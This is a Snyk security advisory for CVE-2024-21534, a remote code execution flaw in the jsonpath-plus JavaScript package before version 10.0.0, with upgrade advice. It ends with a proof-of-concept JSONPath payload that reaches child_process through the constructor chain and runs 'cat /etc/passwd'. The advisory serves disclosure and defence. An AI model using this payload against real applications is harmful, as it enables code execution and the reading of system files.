Remote Code Execution (RCE) Affecting jsonpath-plus package, versions <10.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-JSONPATHPLUS-7945884
- published 10 Oct 2024
- disclosed 10 Sep 2024
- credit Andrea Angelo Raineri
Introduced: 10 Sep 2024
CVE-2024-21534 Open this link in a new tabHow to fix?
Upgrade jsonpath-plus to version 10.0.0 or higher.
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.
Note:
The unsafe behavior is still available after applying the fix but it is not turned on by default.
PoC
# Path: index.js
const { JSONPath } = require("jsonpath-plus");
const data = {};
let x = JSONPath({
json: data,
path: "$[(this.constructor.constructor("require(\"child_process\").exec(\"cat /etc/passwd\")")())]"
});
node index.js